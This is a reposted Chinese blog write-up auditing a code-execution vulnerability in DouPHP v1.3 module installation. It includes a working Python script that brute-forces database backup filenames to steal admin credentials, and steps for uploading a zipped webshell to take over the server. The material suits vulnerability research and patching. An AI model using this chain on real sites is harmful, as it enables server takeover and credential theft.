我是靠谱客的博主 落寞月光,最近开发中收集的这篇文章主要介绍【代码审计】DouPHP_v1.3代码执行漏洞分析0x00 环境准备0x01 代码分析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

 

0x00 环境准备

DouPHP官网:http://www.douco.com/

程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002.rar

测试网站首页:

 

0x01 代码分析

1、文件位置: /admin/module.php 第64-77行中:

  1. if ($rec == 'install') {  
  2.     // 判断是否有上传文件  
  3.     if ($_FILES['zipfile']['name'] == '') {  
  4.         $dou->dou_msg($_LANG['module_file_empty'], 'module.php?rec=local');  
  5.     } else {  
  6.         $zipfile_name = preg_replace('/.zip/i', '', $_FILES['zipfile']['name']);  
  7.     }  
  8.   
  9.     // CSRF防御令牌验证  
  10. 10.     $firewall->check_token($_POST['token']);  
  11. 11.       
  12. 12.     if ($dou_upload->upload_image('zipfile', $zipfile_name))  
  13. 13.         $dou->dou_header('cloud.php?rec=handle&type=module&mode=local&cloud_id=' . $zipfile_name);  

14. }   

这段函数中对上传的文件名进行判断,然后成功上传文件,跳转到cloud.php?rec=handle&type=module&mode=local&cloud_id=,跟进这个模块,看如何处理的

2、文件位置: /admin/cloud.php 第35-49行中,对上面获取的参数进行处理,调用handle函数,跟进去看看:

  1. if ($rec == 'handle') {  
  2.     $smarty->assign('ur_here', $_LANG['cloud_handle']);  
  3.   
  4.     // 验证并获取合法的ID  
  5.     $cloud_id = $check->is_extend_id($_REQUEST['cloud_id']) ? $_REQUEST['cloud_id'] : '';  
  6.     $type = $_REQUEST['type'];  
  7.     $mode = $check->is_letter($_REQUEST['mode']) ? $_REQUEST['mode'] : '';  
  8.   
  9.     $smarty->assign('type', $_LANG['cloud_' . $type]);  
  10. 10.     $smarty->assign('cloud_id', $cloud_id);  
  11. 11.     $smarty->assign('mode', $mode);  
  12. 12.       
  13. 13.     $smarty->display('cloud.htm');  
  14. 14.     $GLOBALS['dou_cloud']->handle($type, $cloud_id, $mode);  

15. }   

3、文件位置/admin/include/cloud.class.php,第40-103行中,对handle函数进行部分摘录,前面几步STEP基本没问题,我们来看一下STEP4,调用了install函数,跟进去看看:

  1. function handle($type, $cloud_id, $mode = '') {  
  2.        // 基础数据  
  3.        $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 扩展压缩包  
  4.        $item_dir = $this->cache_dir . $cloud_id; // 扩展目录  
  5.         '''  
  6.        // STEP1 安装条件验证  
  7.        // STEP2 下载压缩包,如果是本地安装则直接显示正在解压缩  
  8.        // STEP3 解压缩  
  9.        ''''  
  10. 10.        // STEP4 安装模块  
  11. 11.        if ($wrong = $this->install($type, $cloud_id, $mode)) {  
  12. 12.            $this->dou_flush($wrong);  
  13. 13.            exit;  
  14. 14.        } else {  
  15. 15.            $text = $mode == 'update' ? $GLOBALS['_LANG']['cloud_update_0'] : $GLOBALS['_LANG']['cloud_install_0'];  
  16. 16.            $success[] = $text . $cloud_id . $GLOBALS['_LANG']['cloud_install_1'];  
  17. 17.            $success[] = $this->msg_success($type, $cloud_id);  
  18. 18.              
  19. 19.            $this->dou_flush($success);  
  20. 20.        }  
  21. 21.    }  

4、文件位置/admin/include/cloud.class.php,第115-133行:

  1. function install($type, $cloud_id, $mode) {  
  2.     global $prefix;  
  3.   
  4.     // 基础数据  
  5.     $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 模块压缩包  
  6.     $item_dir = $this->cache_dir . $cloud_id; // 模块目录  
  7.     $sql_install = $this->root_dir . "data/backup/$cloud_id.sql"; // 安装用的SQL文件  
  8.     $sql_update = $this->root_dir . "data/backup/$cloud_id" . "_update.sql"; // 升级用的SQL文件  
  9.       
  10. 10.     // STEP1 拷贝模块文件  
  11. 11.     if ($type == 'theme') {  
  12. 12.         $this->dir_action($item_dir, $this->root_dir . 'theme/' . $cloud_id);  
  13. 13.     } elseif ($type == 'mobile') {  
  14. 14.         $this->dir_action($item_dir, $this->root_dir . M_PATH . '/theme/' . $cloud_id);  
  15. 15.     } elseif ($type == 'plugin') {  
  16. 16.         $this->dir_action($item_dir, $this->root_dir . 'include/plugin/' . $cloud_id);  
  17. 17.     } else {  
  18. 18.         $this->dir_action($item_dir, $this->root_dir);  
  19. 19.     }  

最后的安装模块过程中,首页就是拷贝模块文件,因$type=module,只能进入最后一个条件,也就是复制解压缩目录下的文件到网站根目录下,导致程序在实现上存在代码执行漏洞。

 

综上,对所上传的zip文件名只进行简单判断,然后解压缩、安装,当攻击者提供带入恶意代码的脚本,打包为zip文件上传,将被复制到网站根目录,通过该漏洞写入webshell,执行代码,控制服务器权限。

0x02 漏洞利用

A、        如何登陆后台

1、在DouPHP中备份功能代码摘录如下:

  1. // 根据时间生成备份文件名  
  2. $file_name = 'D' . date('Ymd') . 'T' . date('His');  
  3. $sql_file_name = $file_name . '.sql';  

2、那么形成的文件名格式如:D20180118T101433.sql,而且URL访问并没有限制,备份目录是可以访问的,存在敏感信息泄露的风险。

假如管理员做了数据库备份,那么就可以爆破数据库备份文件获取敏感信息。

通过编写Python脚本来尝试爆破,附Python脚本如下:

  1. #! /usr/bin/env python  
  2. # _*_  coding:utf-8 _*_  
  3. import time  
  4. import requests  
  5. import threadpool  
  6.   
  7. date= "2018-01-18 10:00:00"  
  8. datelist=[]  
  9.   

10. def gettime():  

  1. 11.     timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")  
  2. 12.     time1= int(time.mktime(timeArray))  
  3. 13.     time2=int(time.time())  
  4. 14.     for i in range(time1,time2):  
  5. 15.         time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))  
  6. 16.         datelist.append(time3)  
  7. 17.     return datelist  

18. def req(str):             

  1. 19.     try:  
  2. 20.         str1,str2=str.split()  
  3. 21.         date1="D"+str1+"T"+str2  
  4. 22.         url="http://127.0.0.1/data/backup/"+date1+".sql"  
  5. 23.         s=requests.get(url,timeout=5)  
  6. 24.         if  s.status_code==200:  
  7. 25.             print u"数据库备份文件爆破成功:"  
  8. 26.             print url  
  9. 27.   
  10. 28.     except:  
  11. 29.         pass  
  12. 30.   

31. if __name__ == '__main__':  

  1. 32.     list=gettime()  
  2. 33.     pool = threadpool.ThreadPool(1000)   
  3. 34.     requ = threadpool.makeRequests(req,list)   
  4. 35.     [pool.putRequest(req) for req in requ]   
  5. 36.     pool.wait()  
  6. 37.       

3、测试截图:

4、通过URL访问数据库备份文件,获取管理员账号密码。当然了,也可以尝试通过弱口令登录后台。

 

B、代码执行漏洞利用

1、将一句话打包为zip文件,在安装本地模块,点击现在安装,即可成功上传,

 

2、程序自动解压jian.zip到网站根目录下,生成jian.php

 

       3、通过菜刀连接,成功控制网站服务器

 

0x03 修复建议

1、对上传的zip文件内容进行检测,对模块文件内容格式进行严格限制。

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

最后

以上就是落寞月光为你收集整理的【代码审计】DouPHP_v1.3代码执行漏洞分析0x00 环境准备0x01 代码分析的全部内容,希望文章能够帮你解决【代码审计】DouPHP_v1.3代码执行漏洞分析0x00 环境准备0x01 代码分析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(50)

评论列表共有 0 条评论

立即
投稿
返回
顶部